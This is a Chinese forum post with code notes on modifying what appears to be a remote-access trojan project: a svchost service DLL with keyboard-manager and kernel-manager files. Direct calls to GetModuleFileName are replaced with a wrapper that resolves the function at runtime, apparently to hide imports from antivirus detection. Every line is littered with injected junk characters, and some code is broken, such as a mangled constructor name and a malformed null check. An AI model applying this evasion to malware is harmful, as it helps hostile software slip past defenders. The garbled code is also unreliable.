[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
3 d; h) z! ~7 S: |svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
2 E& V' U8 K5 Q0 o3 y/ n$ z! A" M3 i! h----------------------------------------$ J$ I/ W: f' `7 X$ t( O
DTDY.h：
9 x" j9 g! S4 m. ]5 S! x% V" W
  o3 U- d" a# K% O#if _MSC_VER>1000% r) B5 D0 O4 s: N" j& l6 U
#pragma once0 M/ |) U, K( |9 s
#endif //_MSC_VER>1000
; R) j) c! W9 C- O#include<windows.h>2 K/ {0 O0 m# V$ p" U9 |2 B* ?5 E

: M3 d0 b1 f2 s2 g: C- k! [0 ?typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
3 j2 n4 o9 [* ~6 i( Z- \/ F5 s: Wclass DTDY/ }  g4 d8 P1 N3 Z
{
8 V, a. q) E$ y/ r) j' H5 S* a4 B0 Lpublic:
7 j4 [( {; A" V! n- N4 I4 GDTDY();5 s2 v, R/ y! |
virtual ~DTDY();1 _) K5 I- \8 z4 Y; W6 }
public:, P# p: H8 j) P. N$ C2 \8 m2 q
static pGetModuleFileNameA MyGetModuleFileName;
- z- p" }$ S" Fstatic BOOL FunInitiallization();
- U8 W9 e( i0 t- U9 d. }; _};
  J4 B' A: C) N; Q; a, l5 y+ _1 M#endif
  x6 W2 Q% a" B& C( X" _' c; y5 T----------------------------------------
3 ~2 T( U  B: D0 d4 ^+ J$ T4 x2 V0 B9 Q1 `- A
DTDY.cpp:
" D6 V4 U3 ?7 E: J) k" v% d
" ~  k5 N4 K/ v& U#include "DTDY.h"+ Z! o: A, Q3 f9 x
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
# h* ]& ]) E2 J6 ]7 BDTDY:TDY()2 j" z2 i+ M; I6 W
{' p# M! e) @; Z2 \3 r2 k, R
}' N; m5 G% N) d0 r* U
DTDY::~DTDY()( {* G" _) x9 d" |; x, O1 K
{. ^3 `% I9 X0 ^0 _, Y& ^1 c
}
% `6 w/ k+ t; j8 L+ U/ {7 YBOOL DTDY::FunInitiallization()8 q& y) Q$ {& a* {9 @, ]! a
{( b( d# f6 r' }: R" c8 N! {% r
HMODULE hModule=LoadLibrary("kernel32.dll");
8 a4 x2 g  C: b& i/ VMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");& `8 p! }' q5 m2 {  B+ ?
if(!MyGetModuleFileName=) return FALSE;
: W0 L& @( T# t8 i
" N( b3 r; F7 M- |; ^  treturn TRUE;
0 B* H& S. \( J3 J; {; S1 w9 s3 g}
4 n2 Z: b* L, e& ^% L8 I, r----------------------------------------
7 s( }+ b/ w& O6 P. \svchost.cpp:
- n! L2 q9 x1 J8 \; ^$ K* [
6 {5 C; s1 _. E* W- L#include "DTDY.h"
3 [. O9 D3 Q6 \" h0 F
) [4 k; D7 ^6 A, `BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)6 i* q* T5 T  ^
{# H9 Y& W0 K% K- c
switch(ul_reason_for_call)% k) ~) F* c4 c% X
{
8 u0 c; f. F" h& I' F7 {case DLL_PROCESS_ATTACH:8 L. K0 _* E0 w# y' e" J  {9 A/ E
if(!DTDY::FunInitiallization()) return FALSE;  |. j$ _" s3 E  P

- s* h# K( X2 m2 I0 d7 C2 t5 R, k6 d' Qbreak;3 E: l3 G1 z; U' Q4 o0 E
}
* Y& b; g  _) R}
6 F$ J, d; s' S# C6 \6 i5 o4 o8 W! @
* K7 s; `% c2 [: K, r' X5 P5 z
' A2 [" W7 s0 X' ZGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def+ w& q7 Z9 g6 n6 E: a; V6 e
改写为# v2 O2 F. j" _8 P
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));( [' c# g$ n* K
----------------------------------------
- ^- Q' h& E2 u; Y- e$ i, qKernelManager.cpp:
% K' I! a$ ?6 ?$ ^
& M. V- H4 H: v" c( N#include "../DTDY.h"
3 c; f) S  ~1 m0 `& uGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));3 z; c, K' d8 Y2 @
改写为
, \4 U$ E* Q1 w' \DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
  O" h; E4 a. P5 c- E# ^: E/ A- n----------------------------------------